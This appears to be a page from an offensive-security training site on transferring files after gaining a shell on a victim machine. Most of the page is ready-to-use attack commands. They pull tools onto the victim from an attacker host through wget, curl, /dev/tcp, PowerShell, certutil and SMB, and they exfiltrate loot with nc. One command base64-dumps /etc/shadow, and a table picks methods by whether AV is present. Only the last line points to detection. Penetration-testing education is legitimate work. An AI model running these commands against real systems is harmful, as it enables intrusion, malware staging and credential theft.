Skip to content
Pwnversity
NET-TRANSFERbasic · 3 min · upd. 2026-10

File transfer

T1105

Once you have a shell on the victim, you almost always need to move files both ways: upload enumeration and privilege-escalation tools, or download loot (hashes, databases, documents). This page collects the most reliable techniques depending on what’s available on each end, for Linux and Windows.

The usual pattern: you stand up a server on your machine and the victim downloads from it.

Ventana de terminal
# HTTP (the most universal)
python3 -m http.server 80
# SMB (handy for Windows; share named "share")
impacket-smbserver share $(pwd) -smb2support # see Impacket
# Quick FTP
python3 -m pyftpdlib -p 21 -w
Ventana de terminal
wget http://LHOST/linpeas.sh -O /tmp/linpeas.sh
curl http://LHOST/tool -o /tmp/tool
# without wget/curl: use /dev/tcp or an interpreter
exec 3<>/dev/tcp/LHOST/80; echo -e "GET /tool HTTP/1.0\n" >&3; cat <&3 > tool
Ventana de terminal
# PowerShell
powershell -c "Invoke-WebRequest -Uri http://LHOST/tool.exe -OutFile C:\Windows\Temp\tool.exe"
powershell -c "(New-Object Net.WebClient).DownloadFile('http://LHOST/tool.exe','C:\Windows\Temp\tool.exe')"
# certutil (LOLBin, usually allowed)
certutil.exe -urlcache -split -f "http://LHOST/tool.exe" C:\Windows\Temp\tool.exe
# SMB: mount the attacker's share and copy/run directly
copy \\LHOST\share\tool.exe C:\Windows\Temp\tool.exe
Ventana de terminal
# Linux → attacker server accepting POST (uploadserver) or nc
nc -lvnp 9001 > loot.tar # on the attacker
nc LHOST 9001 < /tmp/loot.tar # on the victim
# Base64 over the shell itself for small files
base64 -w0 /etc/shadow # copy the output and decode on your machine

For small files, base64-encoding and pasting the output over the shell itself is the most robust option when there’s no network channel: base64 -w0 file on the victim, and base64 -d on your machine.

Situation Recommended technique
Modern Windows, AV present SMB or certutil; avoid -e on nc
Minimal Linux (no wget/curl) /dev/tcp or base64 over the shell
Large file from the victim nc direct or SMB
Small file, no file network base64 pasted over the shell

Using LOLBins like certutil for downloads, service processes writing to C:\Windows\Temp, and outbound SMB connections are classic signs of tool transfer. See Detection and Hunting.